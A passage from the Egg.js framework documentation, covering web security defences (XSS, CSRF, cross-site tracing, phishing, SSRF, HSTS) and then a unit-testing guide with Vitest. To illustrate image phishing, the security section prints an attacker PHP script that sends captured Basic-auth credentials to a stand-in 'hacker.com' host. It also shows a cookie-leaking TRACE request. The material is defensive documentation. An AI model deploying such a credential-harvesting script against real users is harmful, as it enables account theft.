content**\n\nExample：\n\n```js\n// js\nconst value = `<a href=\"http://www.domain.com\">google</a><script>evilcode…</script>`;\n```\n\n```html\n// template\n<html>\n  <body>\n    {{ helper.shtml(value) }}\n  </body>\n</html>\n// =>\n<a href=\"http://www.domain.com\">google</a>&lt;script&gt;evilcode…&lt;/script&gt;\n```\n\nShtml based on [xss](https://github.com/leizongmin/js-xss/) , and add filters by domain name.\n\n- [defaule rule](https://github.com/leizongmin/js-xss/blob/master/lib/default.js)\n- [custom rule](http://jsxss.com/zh/options.html)\n\nFor example, only support `a` label, and all other properties except `title` are filtered: `whiteList: {a: ['title']}`\n\noptions:\n\n- `config.helper.shtml.domainWhiteList: []` extend whilelist used by \"href\" and \"src\"\n\nNote shtml uses a strict whitelisting mechanism, not only filter out the XSS risk strings, all tags or attrs outside [the default rules] (https://github.com/leizongmin/js-xss/blob/master/lib/default.js) will be filtered out.\n\nFor example, tag `HTML` is not in the whitelist.\n\n```js\nconst html = '<html></html>';\n\n// html\n{\n  {\n    helper.shtml(html);\n  }\n}\n// empty output\n```\n\nDue to not in the whitelist, common properties like `data-xx` will be filtered.\n\nSo, it is important to pay attention to the use of shtml, which is generally aimed at the rich text input from users, please avoid abuse, which can be restricted and affect the performance of the service.\n\nSuch scenarios are generally like BBS, comment system, etc., even if does not support HTML content such as BBS input, do not use this Helper, direct use `escape` instead.\n\n### JSONP XSS\n\nJSONP's \"callback\" parameter is very dangerous, it has two kinds of risks that might lead to XSS\n\n1. Callback parameter will truncate js code, the special characters like single quotation, double quotation or line breaks, both are at risk.\n\n2、Callback parameter add tag maliciously(such as `<script>`), cause XSS risk.\n\nRefer to [JSONP security technic](http://blog.knownsec.com/2015/03/jsonp_security_technic/)\n\nWithin the framework, the [jsonp-body](https://github.com/node-modules/jsonp-body) is used to make jsonp requests safe.\n\nDefense content:\n\n- maximum 50 character limit for the name of callback function\n- callback function name only allow `[`, `]`, `a-zA-Z0123456789_`, `$`, `.` to prevent XSS or utf-7 XSS attacks, etc.\n\nConfigration:\n\n- callback - default is `_callback`, you can rename\n- limit - callback function name length limit, default is 50.\n\n### Other XSS Precautions\n\nBrowser itself has some protection against all kinds of attacks, they generally take effect by opening the Web security headers. The framework has built-in support for some common Web security headers.\n\n#### CSP\n\nCSP is short for Content Security Policy, It is mainly used to define which resources the page can load and reduce the occurrence of XSS.\n\nThe framework supports the CSP configuration, but is closed by default, which can effectively prevent XSS attacks from happening. To configure the CSP, you need to know the policy strategy of CSP first, the details you can refer to [what CSP] (https://www.zhihu.com/question/21979782).\n\n#### X-Download-Options:noopen\n\nOpened by default, introduced in IE8 to control visibility of the \"Open\" button on the file download dialog.\n\nRefer to http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx\n\n#### X-Content-Type-Options:nosniff\n\nDisable IE8 automatically sniffer such as `text/plain` rendered by `text/HTML` , especially when the content of this site is not credible.\n\n#### X-XSS-Protection\n\nSome XSS detection and precautions provided by Internet explorer, enabled by default\n\n- close default is false，equal to `1; mode=block`\n\n## Prevention of Security Threat `CSRF`\n\n[CSRF or XSRF](https://www.owasp.org/index.php/CSRF) is short for Cross-site request forgery, also called `One Click Attack` or `Session Riding`, is a malicious use of the site.\n\nCSRF attack will launch a malicious fake request for the site, which seriously affects the security of the site. Therefore, the framework has a built-in CSRF preparedness plan.\n\n### Prevention\n\nIn general, there are some common [precautions](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#CSRF_Specific_Defense) for CSRF attacks. Briefly introduce several common precautions:\n\n- Synchronizer Tokens：When the response page is rendered, token is rendered in the page, which will be submitted through a hidden input when a form is submitted.\n\n- Double Cookie Defense：The token will be stored in client Cookie, Cookie will be submitted when you submit a POST/PUT/PATCH/DELETE request, then you can get the token, and submit the token through header or body, service side will compare and check it.\n\n- Custom Header：Trust request with specific header（like `X-Requested-With: XMLHttpRequest`）. This can be bypassed, so frameworks like rails and django [give up the guard](https://www.djangoproject.com/weblog/2011/feb/08/security/).\n\nThe framework combines these precautions to provide a configurable CSRF prevention strategy.\n\n#### Usage\n\n##### Submit Form with CSRF\n\nIn synchronous rendering the page, you should add a parameter name called `_csrf` in the form's submit url, the value is `ctx.csrf`, when user submitting this form , CSRF token will be submitted:\n\n```html\n<form\n  method=\"POST\"\n  action=\"/upload?_csrf={{ ctx.csrf | safe }}\"\n  enctype=\"multipart/form-data\"\n>\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">upload</button>\n</form>\n```\n\nFields that pass the CSRF token can be changed in the configuration:\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      queryName: '_csrf', // CSRF token parameter name passed through query, default is _csrf\n      bodyName: '_csrf', // CSRF token parameter name passed through body, default is _csrf\n    },\n  },\n};\n```\n\nIn order to prevent the [BREACH attack](http://breachattack.com/), CSRF token rendered on the page will be changed everytime request changed, and the view plugin, such as `egg-view-nunjucks`, will automatically inject the hidden field in Form without any perception of the application developer.\n\n##### AJAX Request\n\nIn the default configuration, the token is set in the Cookie, which can be fetched from the Cookie and sent to the server through query, body, or header when an AJAX request is requested.\n\nIn jQuery:\n\n```js\nvar csrftoken = Cookies.get('csrfToken');\n\nfunction csrfSafeMethod(method) {\n  // these HTTP methods do not require CSRF protection\n  return /^(GET|HEAD|OPTIONS|TRACE)$/.test(method);\n}\n$.ajaxSetup({\n  beforeSend: function (xhr, settings) {\n    if (!csrfSafeMethod(settings.type) && !this.crossDomain) {\n      xhr.setRequestHeader('x-csrf-token', csrftoken);\n    }\n  },\n});\n```\n\nThe fields that pass the CSRF token through the header can also be changed in the configuration:\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      headerName: 'x-csrf-token', // CSRF token passed through header, default is x-csrf-token\n    },\n  },\n};\n```\n\n#### Session vs Cookie Store\n\nBy default, the framework will present the CSRF token in a Cookie to facilitate AJAX requests. But all subdomains can set cookies, so when our application cannot controll all subdomains, there may be a risk of CSRF attack stored in the Cookie. The framework provides a configuration that token can be stored in the Session.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      useSession: true, // default is false，if set to true , it will store csrf token in Session\n      cookieName: 'csrfToken', // Field in Cookie , default is csrfToken\n      sessionName: 'csrfToken', // Filed in Session , default is csrfToken\n    },\n  },\n};\n```\n\n#### Ignore JSON Request(deprecated)\n\n**Notice: this configure is deprecated, the attacker can bypass it through [flash and 307](https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/), please don't enable it in production environment!**\n\nWith security policy protection [SOP](https://en.wikipedia.org/wiki/Same-origin_policy), basically all modern browsers do not allow cross domain request when content-type is set to JSON, so we can just leave out JSON request.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      ignoreJSON: true, // default is false，if set to be true ,it will leave out all request which content-type is `application/json`\n    },\n  },\n};\n```\n\n#### Refresh CSRF token\n\nAs CSRF token is stored in Cookie, once the user switches in the same browser, a new login user will still use the old token (old user used) before, this will bring certain security risks, so everytime user do login, website must refresh **CSRF token**.\n\n```js\n// login controller\nexports.login = async function (ctx) {\n  const { username, password } = ctx.request.body;\n  const user = await ctx.service.user.find({ username, password });\n  if (!user) ctx.throw(403);\n  ctx.session = { user };\n\n  // call rotateCsrfSecret to refresh CSRF token\n  ctx.rotateCsrfSecret();\n\n  ctx.body = { success: true };\n};\n```\n\n## Prevention of Security Threat `XST`\n\n[XST](https://www.owasp.org/index.php/XST) is short for `Cross-Site Tracing`, client send TRACE request to server, if the server implement TRACE responding by standard, the complete header information of the request will be returned in response body. This way, client can get some sensitive header fields, such as httpOnly cookies.\n\nBelow, we implement a simple TRACE support server based on Koa:\n\n```js\nvar koa = require('koa');\nvar app = koa();\n\napp.use(async function (ctx, next) {\n  ctx.cookies.set('a', 1, { httpOnly: true });\n  if (ctx.method === 'TRACE') {\n    var body = '';\n    for (header in ctx.headers) {\n      body += header + ': ' + ctx.headers[header] + '\\r\\n';\n    }\n    ctx.body = body;\n  }\n  await next;\n});\n\napp.listen(7001);\n```\n\nYou can send a GET request first `curl -i http://127.0.0.1:7001` when service started, you will get response below:\n\n```\nHTTP/1.1 200 OK\nX-Powered-By: koa\nSet-Cookie: a=1; path=/; httponly\nContent-Type: text/plain; charset=utf-8\nContent-Length: 2\nDate: Thu, 06 Nov 2014 05:04:42 GMT\nConnection: keep-alive\n\nOK\n```\n\nThen server sets an httpOnly Cookie `a` to 1, it is not possible to get it through the script in the browser environment.\n\nThen we send a TRACE method request to the server with Cookie `curl -X TRACE -b a=1 -i http://127.0.0.1:7001`, and will get response below:\n\n```\n  HTTP/1.1 200 OK\n  X-Powered-By: koa\n  Set-Cookie: a=1; path=/; httponly\n  Content-Type: text/plain; charset=utf-8\n  Content-Length: 73\n  Date: Thu, 06 Nov 2014 05:07:47 GMT\n  Connection: keep-alive\n\n  user-agent: curl/7.37.1\n  host: 127.0.0.1:7001\n  accept: */*\n  cookie: a=1\n```\n\nThe complete header information can be seen in the response body, so that we bypass the httpOnly limit and get the cookie a= 1, causing a great risk.\n\n### More\n\nhttp://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html\n\nhttp://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/\n\n### Prevention\n\nThe framework has banned three types of dangerous request type: trace, track, options.\n\n## Prevention of Security threats `phishing attacks`\n\nThere are many ways to Phishing, here will introduce url Phishing, photo Phishing and iframe Phishing.\n\n### URL Phishing\n\nThe server side does not check and control the incoming redirect url variable, which can lead to malicious construction of any malicious address, then can induce users to redirect to malicious websites.\n\nDue to redirect from a trusted site, users will be more trust, so redirect risk is commonly used in phishing attacks, by going to a malicious web site and cheat users enter the user name and password to steal user information, make money trading or deceive users;\n\nIt may also cause XSS attact (mainly use 302 redirect often, set HTTP response headers: `Location: url`, if the url contains a CRLF, it could partition the HTTP response headers, make the back part falls to HTTP body, leading to XSS).\n\n### Prevention\n\n- If the redirect url can be determined in advance, including the value of the url and parameters, you can configured in the background first. If do redirect, directly preach corresponding index of url, and find corresponding specific url then redirect through index;\n- If the redirect url is not previously determined, but it is generated by server background (not passing by user's parameter), you can make a redirect link, then sign it;\n- if 1 and 2 are not satisfied, url could not determine beforehand and only pass through the front end of the incoming parameters, url must be validated before redirect, to judge whether it within the application authorization whitelist.\n\nThe framework provides a safe redirect method to avoid this risk by configuring a whitelist.\n\n- `ctx.redirect(url)` If redirect url is not in the whitelist of configuration, it is forbidden.\n- `ctx.unsafeRedirect(url)` Allow all redirects, It is generally not recommended to use after a clear understanding of possible risks.\n\nSafety plan covers the default `ctx.redirect` method, all redirects will go through security domain.\n\nYou need to do the following configuration in the application configuration file if user use `ctx.redirect` method:\n\n```js\n// config/config.default.js\nexports.security = {\n  domainWhiteList: ['.domain.com'], // security domain while list, start with .\n};\n```\n\nIf user did not configure `domainWhiteList` or `domainWhiteList` array is empty, default will release all redirect requests, that is equal to `ctx.unsafeRedirect(url)`\n\n### Photo Phishing\n\nIf website allow users insert unverified images into the web page, that will make a risk of Phishing.\n\nLike common `401 Phishing` for example, when user accessing the page, it pops up a verification page to let user input account and password, when user input, account and password will be stored in the hacker's server.\n\nUsually this kind of situation will appear in `<img src=$url />`, and not verify the `$url` whether within the domain name white list.\n\nAttacker can construct the following code in his own server:\n\n401.php, used to pop up 401 window, then record user information:\n\n```php\n  <?php\n      header('WWW-Authenticate: Basic realm=\"No authorization\"');\n      header('HTTP/1.1 401 Unauthorized');\n          $domain = \"http://hacker.com/fishing/\";\n          if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){\n                  header(\"Location: \".$domain.\"record.php?a=\".$_SERVER[sectech:'PHP_AUTH_USER'].\"&b=\".$_SERVER[sectech:'PHP_AUTH_PW']);\n          }\n  ?>\n```\n\nThen attacker generate an image url`<img src=\"http://xxx.xxx.xxx/fishing/401.php?a.jpg//\" />`.\n\nIf user access the page, it will popup a window, and let user type in user's name and password, then account and password will be stored in the hacker's server.\n\n### Prevention\n\nFramework provides `.surl()` macro to do url filtering.It is Used to parse the url in the HTML tags in place (such as `<a href =\"\" /><img src=\"\"/>`), other places are not allowed to use.\n\nYou can add `helper.surl($value)` in the template to output variable.\n\n**Note: in places where you need to parse the url, you must add double quotes outside of surl, or you will result in XSS vulnerabilities.**\n\nDo not use `surl`\n\n```html\n<a href=\"$value\" />\n```\n\noutput:\n\n```html\n<a href=\"http://ww.safe.com<script>\" />\n```\n\nUse `surl`\n\n```html\n<a href=\"helper.surl($value)\" />\n```\n\noutput:\n\n```html\n<a href=\"http://ww.safe.com&lt;script&gt;\" />\n```\n\n### Iframe Phishing\n\n[Iframe Phishing](https://www.owasp.org/index.php/Cross_Frame_Scripting) By embedding iframe into the hacked page, the attacker can direct users to click on the iframe's dangerous website or even cover it, affecting the normal function of the site and hijacking the user's click operation.\n\nFramework provides `X-Frame-Options` this security header to prevent iframe Phishing. The default value is `SAMEORIGIN`, which allows only the same domain to embed this page as an iframe.\n\nThis configuration can be turned off when you need to embed some trusted third-party web pages.\n\n## Prevention of Security Threats `HPP`\n\nHTTP protocol allows the parameters of the same name appears many times, due to the implementation of the application is not standard, the attacker from the distribution of parameters of transmission key and the value of different parameters, will cause to bypass the consequences of some protection.\n\nThe possible security threats to HPP are:\n\n- bypass protection and parameter checking.\n- generate logical vulnerabilities and errors that affect application code execution.\n\n### More\n\n- https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)\n- http://blog.csdn.net/eatmilkboy/article/details/6761407\n- https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf\n- ebay RCE risk：http://secalert.net/2013/12/13/ebay-remote-code-execution/\n\n### How to Protect\n\nThe framework itself forces the use of the first parameter when the client transports the same key and value different parameters, so it does not lead to an HPP attack.\n\n## [man-in-middle attack](https://www.owasp.org/index.php/Man-in-the-middle_attack) with HTTP / HTTPS\n\nHTTP is a widely used protocol for Web applications, responsible for Web content requests and acquisitions. Content request will across lots of \"middleman\", mainly in network link, ACTS as the content of the entrance to the browser, router, WIFI providers, communications operators. if you use a proxy, over the wall software will introduce more \"middleman\". Because the path and parameters of the HTTP request are explicitly written, these \"middleman\" can monitor, hijack, and block HTTP requests, it is called man-in-middle attack.\n\nIn the absence of HTTPS, ISPs can jump the link directly to an AD when the user initiates a request, or change the search results directly into their own ads. If there is a BUG in the hijacking code, the user will not be able to use the website, the white screen will appear.\n\nData leakage, request hijacking, content tampering, etc., the core reason is that HTTP is completely naked, and the domain name, path and parameters are clearly visible to the middle people. HTTPS does this by encrypting requests to make them more secure to users. In addition to protecting the interests of users, it can also avoid the traffic being held hostage to protect its own interests.\n\nAlthough HTTPS is not absolute security, the organization that holds the root certificate and the organization that controls the encryption algorithm can also conduct a man-in-middle attack. But HTTPS is the most secure solution under the current architecture, and it significantly increases the cost of man-in-middle attack.\n\nSo, if you use the Egg framework to develop web site developers, please be sure to update your website to HTTPS.\n\nFor HTTPS, one should pay attention to is the HTTP transport security (HSTS) strictly, if you don't use HSTS, when a user input url in the browser without HTTPS, the browser will use HTTP access by default.\n\nFramework has disableb `HSTS Strict-Transport-security` by default, then make the HTTPS site not redirect to HTTP. If your site supports HTTPS, be sure to open it.If our Web site is an HTTP site, we need to close this header.\n\nThe configuration is as follows:\n\n- maxAge one yeah for default `365 * 24 * 3600`。\n- includeSubdomains default is false, you can add subdomain to confirm all subdomains could be accessed by HTTPS.\n\n## SSRF Protection\n\nIn a [Server-Side Request Forgery (SSRF)](https://www.owasp.org/index.php/Server_Side_Request_Forgery) attack, the attacker can abuse functionality on the server to read or update internal resources.\n\nGenerally, SSRF are common in that developers directly request the URL resources passed in by the client on the server side. Once an attacker passes in some internal URLs, an SSRF attack can be initiated.\n\n### How to Protect\n\nUsually, we will prevent SSRF attacks based on the IP blacklist of intranets. By filtering the IP addresses obtained after resolving domain names, we prohibit access to internal IP addresses to prevent SSRF attacks.\n\nThe framework provides the `safeCurl` method on `ctx`, ʻapp`and`agent`, which will filter the specified intranet IP address while doing the network request. In additon of the method are the same as `curl`.\n\n- `ctx.safeCurl(url, options)`\n- `app.safeCurl(url, options)`\n- `agent.safeCurl(url, options)`\n\n#### Configurations\n\nCalling the `safeCurl` method directly does not have any effect. It also needs to work with security configurations.\n\n- `ipBlackList`(Array) - \bConfigure the intranet IP address list. IP addresses on these network segments cannot be accessed.\n- `checkAddress`(Function) - Directly configure a function to check the IP address, and determine whether it is allowed to be accessed in `safeCurl` according to the return value of the function. When returning is not `true`, this IP cannot be accessed. `checkAddress` has a higher priority than `ipBlackList`.\n\n```js\n// config/config.default.js\nexports.security = {\n  ssrf: {\n    ipBlackList: [\n      '10.0.0.0/8', // support CIDR subnet\n      '0.0.0.0/32',\n      '127.0.0.1', // support specific IP address\n    ],\n    // ipBlackList does not take effect when checkAddress is configured\n    checkAddress(ip) {\n      return ip !== '127.0.0.1';\n    },\n  },\n};\n```\n\n## Other Build-in Security Tools\n\n### ctx.isSafeDomain(domain)\n\nTo judge whether a domain is a secure domain. It is configured in the security configuration, see `ctx.redirect` parts.\n\n### app.injectCsrf(str)\n\nThis function provides template preprocessing - the ability to automatically insert CSRF key, which can be automatically inserted CSRF hidden input into all of the form tags, then user will not need to manually write it.\n\n### app.injectNonce(str)\n\nThis function provides the template pretreatment - automatically inserted into the `nonce` ability, if the site opens `CSP` safety http header, and want to use `CSP 2.0 nonce` features, you can use this function. Reference [CSP](https://www.zhihu.com/question/21979782).\n\nThis function scans the script tag in the template and automatically adds `nonce`.\n\n### app.injectHijackingDefense(str)\n\nFor sites that do not open HTTPS, this function can be limited to preventing ISP hijacking.\n\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n\n## Revert CVE\n\nIn the security fixes of node.js, there may be breaking changes. For example, in version 18.9.1, a security vulnerability was fixed, which caused some encryption-related code to not function properly. To address this issue, we provide a revert parameter, which is converted to the --security-revert parameter at startup, allowing the bypassing of the CVE fix.\n\n```json\n// package.json\n{\n  \"egg\": {\n    // Supports two configuration methods\n    // One is to use a string directly, specifying a CVE\n    \"revert\": \"CVE-2023-46809\",\n    // The other is to use an array of strings, allowing the specification of multiple CVEs\n    \"revert\": [\"CVE-2023-46809\"]\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/core/unittest.md",
    "content": "---\ntitle: Unit Testing\norder: 2\n---\n\n## Why Unit Testing\n\nLet us start with a few questions:\n\n- How to measure the quality of code\n- How to ensure the quality of code\n- Are you free to refactor code\n- How to guarantee the correctness of refactored code\n- Have you confidence to release your untested code\n\nIf you are not sure, you probably need unit testing.\n\nActually, it brings us tremendous benefits:\n\n- guarantee the quality of maintaining code\n- guarantee the correctness of reconstruction\n- enhance confidence\n- automation\n\nIt's more important to use unit tests in a web application during the fast iteration, because each testing case can contribute to the increasing stability of the application. The result of various inputs in each test is definite, so it's obvious to detect whether the changed code has an impact on correctness or not.\n\nTherefore, code, such as in Controller, Service, Helper, Extend and so on, require corresponding unit testing for quality assurances, especially modification of the framework or plugins, of which test coverage is strongly recommended to be 100%.\n\n## Test Framework\n\nWhen [searching 'test framework' in npm](https://www.npmjs.com/search?q=test%20framework&page=1&ranking=popularity), there are a mass of test frameworks owning their own unique characteristics.\n\n### Vitest\n\nStarting from `@eggjs/bin` v8, Egg uses [Vitest](https://vitest.dev) as the default test runner. Vitest is a next-generation testing framework powered by Vite, providing native TypeScript support, fast execution, and a modern testing experience.\n\n> Vitest is a blazing-fast unit test framework powered by Vite. It provides native ESM support, TypeScript out of the box, and a Vite-powered transformation pipeline.\n\nKey advantages:\n\n- **Native TypeScript support** — no need for ts-node or additional loaders\n- **Fast execution** — leverages Vite's transformation pipeline\n- **Built-in watch mode** — instant feedback during development\n- **Compatible API** — supports `describe`, `it`, `beforeAll`, `afterAll`, etc.\n- **Built-in coverage** — via `@vitest/coverage-v8`, no external tools needed\n\n### Mocha (Legacy)\n\nPrevious versions of `@eggjs/bin` (v7 and earlier) used [Mocha](http://mochajs.org) as the test runner. If you are migrating from Mocha, note the following hook name changes:\n\n| Mocha          | Vitest                |\n| -------------- | --------------------- |\n| `before()`     | `beforeAll()`         |\n| `after()`      | `afterAll()`          |\n| `beforeEach()` | `beforeEach()` (same) |\n| `afterEach()`  | `afterEach()` (same)  |\n\n## Assertion Library\n\nWe recommend using Node.js built-in [assert](https://nodejs.org/api/assert.html) module for assertions. It follows the principle of 『No API is the best API』— simple, familiar, and requires no additional dependencies.\n\n```js\nimport assert from 'node:assert';\n\nassert(result.status === 200);\nassert.equal(user.name, 'fengmk2');\nassert.deepStrictEqual(data, { foo: 'bar' });\n```\n\nVitest also provides a built-in `expect` API if you prefer BDD-style assertions:\n\n```js\nimport { expect } from 'vitest';\n\nexpect(result.status).toBe(200);\nexpect(user.name).toBe('fengmk2');\n```\n\n## Test Rule\n\nFramework defines some fundamental rules on unit testing to keep us focus on coding rather than assistant work, such as how to execute test cases.\nEgg does some basic conventions for unit testing.\n\n### Directory Structure\n\nTest code is demand to be put in `test` directory, include `fixtures` and assistant scripts.\n\nEach Test file has to be named by the pattern of `${filename}.test.js`, ending with `.test.js`.\n\nFor example:\n\n```bash\ntest\n├── controller\n│   └── home.test.js\n├── hello.test.js\n└── service\n    └── user.test.js\n```\n\n### Test Tool\n\nConsistently using [egg-bin to launch tests](./development.md#unit_testing), which internally uses [Vitest](https://vitest.dev) to run tests. egg-bin automatically configures vitest with sensible defaults so that we can **concentrate on writing tests** without wasting time on configuration.\n\nKey features provided by egg-bin:\n\n- Auto-detects TypeScript and configures vitest accordingly\n- Auto-loads `test/.setup.ts` (or `.setup.js`) as a setup file\n- Auto-injects `@eggjs/mock/setup_vitest` for egg applications (handles app lifecycle)\n- Injects vitest globals (`describe`, `it`, `beforeAll`, etc.) so plain JS test files work without imports\n\nThe only thing you need to do is setting `scripts.test` in `package.json`.\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\"\n  }\n}\n```\n\nThen tests would be launched by executing `npm test` command.\n\n```bash\nnpm test\n\n> unittest-example@ test /Users/mk2/git/github.com/eggjs/examples/unittest\n> egg-bin test\n\n ✓ test/hello.test.js (1 test) 10ms\n\n Test Files  1 passed (1)\n      Tests  1 passed (1)\n```\n\n### Environment Variables\n\negg-bin exposes several environment variables to control vitest behavior:\n\n| Environment Variable   | Values              | Default   | Description                                                                                                                                                                                                                                                                     |\n| ---------------------- | ------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `EGG_VITEST_POOL`      | `threads` / `forks` | `threads` | Vitest worker pool type. `threads` uses worker_threads for faster startup; `forks` uses child processes for full isolation. When set to `threads`, `@eggjs/mock` auto-switches to `worker_threads` start mode so cluster-client uses thread-based IPC instead of process-based. |\n| `EGG_VITEST_ISOLATE`   | `true` / `false`    | `false`   | Whether to isolate test files in separate environments. When `false` (shared mode), all test files share the same app instance within a worker, significantly improving test speed. When `true`, each test file gets its own isolated environment.                              |\n| `EGG_FILE_PARALLELISM` | `true` / `false`    | `false`   | Whether to run test files in parallel across workers. When `false`, test files run sequentially.                                                                                                                                                                                |\n\nYou can set them in `package.json` scripts or pass them as command-line flags:\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\",\n    \"test:forks\": \"EGG_VITEST_POOL=forks egg-bin test\",\n    \"test:isolate\": \"EGG_VITEST_ISOLATE=true egg-bin test\"\n  }\n}\n```\n\nOr use the `--pool` flag:\n\n```bash\negg-bin test --pool forks\n```\n\n> **Note:** In shared mode (`EGG_VITEST_ISOLATE=false`), static variables and in-memory state persist across test files. Make sure to clean up any shared state in `afterEach` hooks to avoid test pollution.\n\n## Test Preparation\n\nThis chapter introduces you how to write test, and introduction of tests for the framework and plugins are located in [framework](../advanced/framework.md) and [plugin](../advanced/plugin.md).\n\n### mock\n\nGenerally, a complete application test requires initialization and cleanup, such as deleting temporary files or destroy application. Also, we have to deal with exceptional situations like network problem and exception visit of server.\n\nWe extracted a dedicated mocking helper package: **`@eggjs/mock`** (historically called **egg-mock**), to help implement application unit tests quickly and to create contexts easily.\n\n- Repo (Egg 3.x): https://github.com/eggjs/mock/tree/4.x\n- See also: [Mock Helpers (@eggjs/mock / mm)](./mock.md)\n\n### app\n\nBefore launching, we have to create an instance of App to test code of application-level like Controller, Middleware or Service.\n\nWe can easily create an app instance with `beforeAll` hook through `@eggjs/mock`.\n\n```ts\n// test/controller/home.test.ts\nimport assert from 'node:assert';\nimport { mock } from '@eggjs/mock';\nimport { beforeAll, describe } from 'vitest';\n\ndescribe('test/controller/home.test.ts', () => {\n  let app;\n  beforeAll(async () => {\n    // create a current app instance\n    app = mock.app();\n    // execute tests after app is ready\n    await app.ready();\n  });\n});\n```\n\nNow, we have an app instance, and it's the base of all the following tests. See more about app at [`mock.app(options)`](https://github.com/eggjs/egg-mock#options).\n\nIt's redundancy to create an instance in each test file, so we offered a bootstrap file in `@eggjs/mock` to create it conveniently.\n\n```ts\n// test/controller/home.test.ts\nimport { app, mock } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert';\n\ndescribe('test/controller/home.test.ts', () => {\n  // test cases\n});\n```\n\n> **Note:** When using egg-bin, `@eggjs/mock/setup_vitest` is automatically injected as a vitest setup file for egg applications. It handles `beforeAll` (app startup), `afterEach` (mock restore), and `afterAll` (app close) automatically.\n\n### ctx\n\nExcept app, tests for Extend, Service and Helper are also taken into consideration. Let's create a context through [`app.mockContext(options)`](https://github.com/eggjs/egg-mock#appmockcontextoptions) offered by `@eggjs/mock`.\n\n```ts\nit('should get a ctx', () => {\n  const ctx = app.mockContext();\n  assert(ctx.method === 'GET');\n  assert(ctx.url === '/');\n});\n```\n\nIf we want to mock the data for `ctx.user`, we can do that by passing the data parameter to mockContext:\n\n```ts\nit('should mock ctx.user', () => {\n  const ctx = app.mockContext({\n    user: {\n      name: 'fengmk2',\n    },\n  });\n  assert(ctx.user);\n  assert(ctx.user.name === 'fengmk2');\n});\n```\n\nSince we have got the app and the context, you are free to do a lot of tests.\n\n## Testing Order\n\nPay close attention to testing order, and make sure any chunk of code is executed as you expected.\n\nCommon Error:\n\n```ts\n// Bad\nimport { app } from '@eggjs/mock/bootstrap';\n\ndescribe('bad test', () => {\n  doSomethingBefore();\n\n  it('should redirect', () => {\n    return app.httpRequest().get('/').expect(302);\n  });\n});\n```\n\nThe test framework loads all the code in the beginning, which means `doSomethingBefore` would be invoked before execution. It's not expected when especially using 'only' to specify the test.\n\nIt's supposed to locate in a `beforeAll` hook in the suite of a particular test case.\n\n```ts\n// Good\nimport { app } from '@eggjs/mock/bootstrap';\n\ndescribe('good test', () => {\n  beforeAll(() => doSomethingBefore());\n\n  it('should redirect', () => {\n    return app.httpRequest().get('/').expect(302);\n  });\n});\n```\n\nVitest provides `beforeAll`, `afterAll`, `beforeEach` and `afterEach` to set up preconditions and clean-up after your tests. These keywords could be multiple and execute in strict order.\n\n```ts\ndescribe('egg test', () => {\n  beforeAll(() => console.log('order 1'));\n  beforeAll(() => console.log('order 2'));\n  afterAll(() => console.log('order 6'));\n  beforeEach(() => console.log('order 3'));\n  afterEach(() => console.log('order 5'));\n  it('should worker', () => console.log('order 4'));\n});\n```\n\n## Asynchronous Test\n\negg-bin supports asynchronous test:\n\n```js\n// using Promise\nit('should redirect', () => {\n  return app.httpRequest().get('/').expect(302);\n});\n\n// using callback\nit('should redirect', (done) => {\n  app.httpRequest().get('/').expect(302, done);\n});\n\n// using async\nit('should redirect', async () => {\n  await app.httpRequest().get('/').expect(302);\n});\n```\n\nAccording to specific situation, you could make different choice of these ways. Multiple asynchronous test cases could be composed to one test with async function, or divided into several independent tests.\n\n## Controller Test\n\nIt's the tough part of all application tests, since it's closely related to router configuration. We need use `app.httpRequest()` to return a real instance [SuperTest](https://github.com/visionmedia/supertest), which connects Router and Controller and could also help us to examine param verification of Router by loading boundary conditions. `app.httpRequest()` is a request instance [SuperTest](https://github.com/visionmedia/supertest) which is encapsulated by [egg-mock](https://github.com/eggjs/egg-mock).\n\nHere is an `app/controller/home.js` example.\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('homepage', '/', controller.home.index);\n};\n\n// app/controller/home.js\nclass HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'hello world';\n  }\n}\n```\n\nThen a test.\n\n```ts\n// test/controller/home.test.ts\nimport { app } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert';\n\ndescribe('test/controller/home.test.ts', () => {\n  describe('GET /', () => {\n    it('should status 200 and get the body', () => {\n      // load `GET /` request\n      return app.httpRequest()\n        .get('/')\n        .expect(200) // set expectation of status to 200\n        .expect('hello world'); // set expectation of body to 'hello world'\n    });\n\n    it('should send multi requests', async () => {\n      await app.httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('hello world'); // set expectation of body to 'hello world'\n\n      // once more\n      const result = await app.httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('hello world');\n\n      // verify via assert\n      assert(result.status === 200);\n    });\n  });\n});\n```\n\n`app.httpRequest` based on SuperTest supports a majority of HTTP methods such as GET, POST, PUT, and it provides rich interfaces to construct request, such as a JSON POST request.\n\n```ts\n// app/controller/home.js\nclass HomeController extends Controller {\n  async post() {\n    this.ctx.body = this.ctx.request.body;\n  }\n}\n\n// test/controller/home.test.ts\nit('should status 200 and get the request body', () => {\n  // mock CSRF token, explain later\n  app.mockCsrf();\n  return app\n    .httpRequest()\n    .post('/post')\n    .type('form')\n    .send({\n      foo: 'bar',\n    })\n    .expect(200)\n    